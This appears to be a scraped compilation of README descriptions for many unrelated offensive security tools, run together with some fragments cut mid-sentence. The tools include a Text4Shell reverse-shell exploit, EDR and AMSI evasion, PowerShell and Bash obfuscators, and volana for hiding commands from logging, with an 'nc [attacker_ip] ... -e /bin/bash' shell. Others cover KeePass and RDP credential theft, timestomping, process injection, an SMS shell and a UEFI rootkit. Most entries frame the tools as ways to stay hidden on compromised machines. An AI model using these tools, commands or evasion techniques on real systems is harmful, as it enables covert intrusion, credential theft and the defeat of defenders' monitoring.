Web Shell Client
Wshlient
is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient
inject the commands, then you can enjoy a shell.
In the case the above video does not works for you:
Out of python's included batteries Wshclient
only uses requests
. Just install it directly or using requirements.txt
:
$ git clone https://github.com/gildasio/wshlient
$ cd wshlient
$ pip install -r requirements.txt
$ ./wshlient.py -h
Alternatively you can also create a symbolic link in your $PATH
to use it directly anywhere in the system:
$ ln -s $PWD/wshlient.py /usr/local/bin/wshlient
$ ./wshlient.py -h
usage: wshlient.py [-h] [-d] [-i] [-ne] [-it INJECTION_TOKEN] [-st START_TOKEN] [-et END_TOKEN] req
positional arguments:
req File containing raw http request
options:
-h, --help show this help message and exit
-d, --debug Enable debug output
-i, --ifs Replaces whitespaces with $IFS
-ne, --no-url-encode Disable command URL encode
-it INJECTION_TOKEN, --injection-token INJECTION_TOKEN
Token to be replaced by commands (default: INJECT)
-st START_TOKEN, --start-token START_TOKEN
Token that marks the output beginning
-et END_TOKEN, --end-token END_TOKEN
Token that marks the output ending

A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor
class with interpolation enabled, allowing injection of ${script:...}
expressions to execute arbitrary system commands.
In this PoC, exploitation is demonstrated via the data
query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.
Disclaimer: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.
This is a custom Python3 exploit for the Apache Commons Text vulnerability known as Text4Shell (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by StringSubstitutor
.
Tested against: - Apache Commons Text < 1.10.0 - Java applications using ${script:...}
interpolation from untrusted input
python3 text4shell.py <target_ip> <callback_ip> <callback_port>
python3 text4shell.py 127.0.0.1 192.168.1.2 4444
nc -nlvp 4444
The script injects:
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}
The reverse shell is sent via /data
parameter using a POST request.
Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.

@TaurusOmar
v.1.0
Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
Options:
-i string
Name of the PowerShell script file.
-level int
Obfuscation level (1 to 5). (default 1)
-o string
Name of the output file for the obfuscated script. (default "obfuscated.ps1")
Obfuscation levels:
1: Basic obfuscation by splitting the script into individual characters.
2: Base64 encoding of the script.
3: Alternative Base64 encoding with a different PowerShell decoding method.
4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
5: Fragmentation of the script into multiple parts and reconstruction at runtime.
go install github.com/TaurusOmar/psobf@latest
The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1
with the following content:
Write-Host "Hello, World!"
Run the script with level 1 obfuscation.
./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1
This will generate a file named obfuscated_level1.ps1
with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
Result (level 1)
$obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated
Run the script with level 2 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2
This will generate a file named obfuscated_level2.ps1
with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
Result (level 2)
$obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated
Execute the script with level 3 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3
This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
Result (level 3)
$e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated
Execute the script with level 4 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4
This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
Result (level 4)
$compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated
Run the script with level 5 obfuscation:
./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5
This level fragments the script into multiple parts and reconstructs it at runtime.
Result (level 5)
$fragments = @(
'Write-',
'Output "',
'Hello,',
' Wo',
'rld!',
'"'
);
$script = $fragments -join '';
Invoke-Expression $script

During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.volana
provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana » [command]
Keyword for volana console: * ring
: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit
: exit volana console
Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt
and decrypt
subcommand. Previously, you need to build volana
with embedded encryption key.
On attacker machine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copy encrypted command and executed it with your rce on target machine
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Why not just hide command with echo [command] | base64
? And decode on target with echo [encoded_command] | base64 -d | bash
Because we want to be protected against systems that trigger alert for base64
use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
Keep in mind that volana
is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
Only the volana
launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....
) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
lolbin.exe " " * sizeof(real arguments)
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory

Programs that clear or change the previous printed console messages (such as timeout.exe 10

[!CAUTION] Modules have not been tested on other version, and are expected to not work.
Application | Injection Method |
---|---|
KeePass.exe | AppDomainManager Injection |
KeePassXC.exe | DLL Proxying |
LogonUI.exe (Windows Login Screen) | COM Hijacking |
consent.exe (Windows UAC Popup) | COM Hijacking |
mstsc.exe (Windows default RDP client) | COM Hijacking |
RDCMan.exe (Sysinternals' RDP client) | COM Hijacking |
MobaXTerm.exe (3rd party RDP client) | COM Hijacking |
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the
cleanup
module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison
, cleanup
and collect
.
For each application specified in the command line parameters, the poison
module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/
.
--mstsc
, --rdcman
, and --mobaxterm
have a specific option, respectively --mstsc-poison-hkcr
, --rdcman-poison-hkcr
, and --mobaxterm-poison-hkcr
. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR
hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU
hive).
--keepass
and --keepassxc
have specific options, --keepass-path
, --keepass-share
, and --keepassxc-path
, --keepassxc-share
, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable
to be installed on the target.
Multiple applications can be specified at once, or, the --all
flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the
--tempdir
parameter, since the directory name is embedded inside native DLLs.

--all Try to poison all applications
For each application specified in the command line parameters, the cleanup
first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU
and HKCR
hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all
flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the
cleanup
module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, thecleanup
module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted byThievingFox
are logged.

: The path to the file or directory whose timestamps you wish to modify.-NewTimestamp
: The new DateTime value you wish to set for the file or directory.-Credentials
: (Optional) If you need to specify a different user's credentials.-Recurse
: (Switch) If specified, apply the timestamp recursively to all files in the given directory.Specify the -Recurse
switch to apply timestamps recursively:
Invoke-Stompy -Path "C:\path\to\file.txt" -NewTimestamp "01/01/2023 12:00:00 AM"
Invoke-Stompy -Path "C:\path\to\file.txt" -NewTimestamp "01/01/2023 12:00:00 AM" -Recurse
DllNotificationInection is a POC of a new “threadless” process injection technique that works by utilizing the concept of DLL Notification Callbacks in local and remote processes.
An accompanying blog post with more details is available here:
https://shorsec.io/blog/dll-notification-injection/
DllNotificationInection works by creating a new LDR_DLL_NOTIFICATION_ENTRY in the remote process. It inserts it manually into the remote LdrpDllNotificationList by patching of the List.Flink of the list head and the List.Blink of the first entry (now second) of the list.
Our new LDR_DLL_NOTIFICATION_ENTRY will point to a custom trampoline shellcode (built with @C5pider's ShellcodeTemplate project) that will restore our changes and execute a malicious shellcode in a new thread using TpWorkCallback.
After manually registering our new entry in the remote process we just need to wait for the remote process to trigger our DLL Notification Callback by loading or unloading some DLL. This obviously doesn't happen in every process regularly so prior work finding suitable candidates for this injection technique is needed. From my brief searching, it seems that RuntimeBroker.exe and explorer.exe are suitable candidates for this, although I encourage you to find others as well.
This is a POC. In order for this to be OPSEC safe and evade AV/EDR products, some modifications are needed. For example, I used RWX when allocating memory for the shellcodes - don't be lazy (like me) and change those. One also might want to replace OpenProcess, ReadProcessMemory and WriteProcessMemory with some lower level APIs and use Indirect Syscalls or (shameless plug) HWSyscalls. Maybe encrypt the shellcodes or even go the extra mile and modify the trampoline shellcode to suit your needs, or at least change the default hash values in @C5pider's ShellcodeTemplate project which was utilized to create the trampoline shellcode.

A variation of ProcessOverwriting to execute shellcode on an executable's section
For a more detailed explanation you can read my blog post
Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.
These are the main steps of the ProcessStomping technique:
As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.
Select your target process and modify global variables accordingly in ProcessStomping.cpp.
Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
The shellcode blob can then be xored with a key-word and downloaded using a simple socket
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Deliver the xored blob upon connection
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
The sRDI blob will get erased after execution to remove unneeded artifacts.
To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.
Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.

C2 Search Netlas is a Java utility designed to detect Command and Control (C2) servers using the Netlas API. It provides a straightforward and user-friendly CLI interface for searching C2 servers, leveraging the Netlas API to gather data and process it locally.
To utilize this terminal utility, you'll need a Netlas API key. Obtain your key from the Netlas website.
After acquiring your API key, execute the following command to search servers:
c2detect -t <TARGET_DOMAIN> -p <TARGET_PORT> -s <API_KEY> [-v]
Replace <TARGET_DOMAIN>
with the desired IP address or domain, <TARGET_PORT>
with the port you wish to scan, and <API_KEY>
with your Netlas API key. Use the optional -v
flag for verbose output. For example, to search at the google.com
IP address on port 443
using the Netlas API key 1234567890abcdef
, enter:
c2detect -t google.com -p 443 -s 1234567890abcdef
To download a release of the utility, follow these steps:
java -jar c2-search-netlas-<version>.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>
To build and start the Docker container for this project, run the following commands:
docker build -t c2detect .
docker run -it --rm \
c2detect \
-s "your_api_key" \
-t "your_target_domain" \
-p "your_target_port" \
-v
To use this utility, you need to have a Netlas API key. You can get the key from the Netlas website. Now you can build the project and run it using the following commands:
./gradlew build
java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar --help
This will display the help message with available options. To search for C2 servers, run the following command:
java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>
This will display a list of C2 servers found in the given IP address or domain.

LightsOut will generate an obfuscated DLL that will disable AMSI & ETW while trying to evade AV. This is done by randomizing all WinAPI functions used, xor encoding strings, and utilizing basic sandbox checks. Mingw-w64 is used to compile the obfuscated C code into a DLL that can be loaded into any process where AMSI or ETW are present (i.e. PowerShell).
LightsOut is designed to work on Linux systems with python3
and mingw-w64
installed. No other dependencies are required.
Features currently include:

Intended Use/Opsec Considerations
This tool was designed to be used on pentests, primarily to execute malicious powershell scripts without getting blocked by AV/EDR. Because of this, the tool is very barebones and a lot can be added to improve opsec. Do not expect this tool to completely evade detection by EDR.
Usage Examples
You can transfer the output DLL to your target system and load it into powershell various ways. For example, it can be done via P/Invoke with LoadLibrary:
Or even easier, copy powershell to an arbitrary location and side load the DLL!

Arsenal is just a quick inventory, reminder and launcher for pentest commands.
This project written by pentesters for pentesters simplify the use of all the hard-to-remember commands
In arsenal you can search for a command, select one and it's prefilled directly in your terminal. This functionality is independent of the shell used. Indeed arsenal emulates real user input (with TTY arguments and IOCTL) so arsenal works with all shells and your commands will be in the history.
You have to enter arguments if needed, but arsenal supports global variables.
For example, during a pentest we can set the variable ip
to prefill all commands using an ip with the right one.
To do that you just have to enter the following command in arsenal:
>set ip=10.10.10.10

Bypass of Network Access Control Policy for Applications by Zero Trust Sandbox
Verified that it will not be discovered by the antivirus software below
(Please note that a simple command call has been implemented here, and some behavior based heuristic checks will still prompt , bypass AV is not a key issue to be addressed in this project)
An increasing number of desktop applications are opting for the Electron framework.
Electron provides a method that can be debugged, usually by utilizing Chrome's inspect function or calling inspect through Node.js. In this project, the implementation of inspect was analyzed, and a method for automatically parasitizing common Electron programs was developed.
By establishing a connection with the Command and Control (C2) server, a simple remote control is achieved.
Due to the widespread trust of most antivirus software in these well-known applications (with digital signatures), executing malicious commands in the program context provides excellent concealment and stability.
For these injected applications, it is necessary to carefully consider the potential legal risks brought by such actions. When users analyze program behavior, they may be surprised to find that the parent process executing malicious behavior comes from the application they trust.

PoC for an SMS-based shell. Send commands and receive responses over SMS from mobile broadband capable computers.
This tool came as an insipiration during a research on eSIM security implications led by Markus Vervier, presented at Offensivecon 2023
This is not a complete C2 but rather a simple Proof of Concept for executing commands remotely over SMS.
For the shell to work you need to devices capable of sending SMS. The victim's computer should be equiped with WWAN module with either a physical SIM or eSIM deployed.
On the operator's end, two tools are provided:
Of course, you could in theory use any online SMS provider on the operator's end via their API.
On the victim simply execute the client-agent.exe
binary. If the agent is compiled as a Console Application
you should see some verbose messages. If it's compiled as a Windows Application
(best for real engagements), there will be no GUI.
The operator must specify the victim's phone number as a parameter:
server-console.exe +306912345678
Whereas if you use the python script you must additionally specify the MiFi details:
python3 server-console.py --mifi-ip 192.168.0.1 --mifi-username admin --mifi-password 12345678 --number +306912345678 -v
A demo as presented by Markus at Offensive is shown below. On the left is the operator's VM with a MiFi attached, whereas on the right window is client agent.
This tools detects the artifact of the PowerShell based malware from the eventlog of PowerShell logging.

Bashfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. It accomplishes this by generating convoluted, randomized Bash code that at runtime evaluates to the original input and executes it. Bashfuscator makes generating highly obfuscated Bash commands and scripts easy, both from the command line and as a Python library.
The purpose of this project is to give Red Team the ability to bypass static detections on a Linux system, and the knowledge and tools to write better Bash obfuscation techniques.
This framework was also developed with Blue Team in mind. With this framework, Blue Team can easily generate thousands of unique obfuscated scripts or commands to help create and test detections of Bash obfuscation.
This is a list of all the media (i.e. youtube videos) or links to slides about Bashfuscator.
Though Bashfuscator does work on UNIX systems, many of the payloads it generates will not. This is because most UNIX systems use BSD style utilities, and Bashfuscator was built to work with GNU style utilities. In the future BSD payload support may be added, but for now payloads generated with Bashfuscator should work on GNU Linux systems with Bash 4.0 or newer.
Bashfuscator requires Python 3.6+.
On a Debian-based distro, run this command to install dependencies:
sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip
On a RHEL-based distro, run this command to install dependencies:
sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip
Then, run these commands to clone and install Bashfuscator:
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install --user
Only Debian and RHEL based distros are supported. Bashfuscator has been tested working on some UNIX systems, but is not supported on those systems.
For simple usage, just pass the command you want to obfuscate with -c
, or the script you want to obfuscate with -f
.
$ bashfuscator -c "cat /etc/passwd"

Adding new obfuscation methods to the framework is simple, as Bashfuscator was built to be a modular and extendable framework. Bashfuscator's backend does all the heavy lifting so you can focus on writing robust obfuscation methods (documentation on adding modules coming soon).
Bashfuscator was created for educational purposes only, use only on computers or networks you have explicit permission to do so. The Bashfuscator team is not responsible for any illegal or malicious acts preformed with this project.
Easy to use PowerShell script to enumerate access permissions in an Azure Active Directory environment.
Background details can be found in the accompanied blog posts:
To run this script you'll need these two PowerShell modules:
All of these can be installed directly within PowerShell:
PS:> Install-Module Microsoft.Graph
PS:> Install-Module AADInternals
PS:> Install-Module AzureADPreview
The script uses a browser-based Login UI to connect to Azure. If you run the tool for the first time you might experience the following error
[*] Connecting to Microsoft Graph...
WARNING: WebBrowser control emulation not set for PowerShell or PowerShell ISE!
Would you like set the emulation to IE 11? Otherwise the login form may not work! (Y/N): Y
Emulation set. Restart PowerShell/ISE!
To solve this simply allow PowerShell to emulate the browser and rerun your command.
Import and run, no argumentes needed.
Note: On your first run you will likely have to authenticate twice (once Microsoft Graph and once against Azure AD Graph). I might wrap this into a single login in the future...
PS:> Import-Module .\Azure-AccessPermissions.ps1
bootlicker is a legacy, extensible UEFI firmware rootkit targeting vmware hypervisor virtual machines. It is designed to achieve initial code execution within the context of the windows kernel, regardless of security settings configured.
bootlicker takes its design from the legacy CosmicStrain, MoonBounce, and ESPECTRE rootkits to achive arbitrary code excution without triggering patchguard or other related security mechanisms.
After initial insertion into a UEFI driver firmware using the the injection utility, the shellcodes EfiMain achieves execution as the host starts up, and inserts a hook into the UEFI firmware's ExitBootServices routine. The ExitBootServices routine will then, on execution, find the source caller of the function, and if it matches WinLoad.EFI, attempts to find the unexported winload.efi!OslArchTransferToKernel routine, which will allow us to att ack the booting kernel before it achieves its initial execution.
Once OslArchTransferToKernel executes, it will search for the ACPI.SYS driver, find the .rsrc
PE section, and inject a small stager shellcode entrypoint called DrvMain to copy over a larger payload that will act as our kernel implant.
Entirely based upon d_olex / cr4sh's DmaBackdoorBoot
This code is apart of a larger project I've been working on that on / off in between burnout, like most of the concepts I've produced over the years under various aliases, will never see the light of day. Some of the code comments I've been to lazy to strip out that refer to unrelated functiaonlity, despite it being previously present. Do not expect this to work out of the box, some slight modifications are certainly necessary.
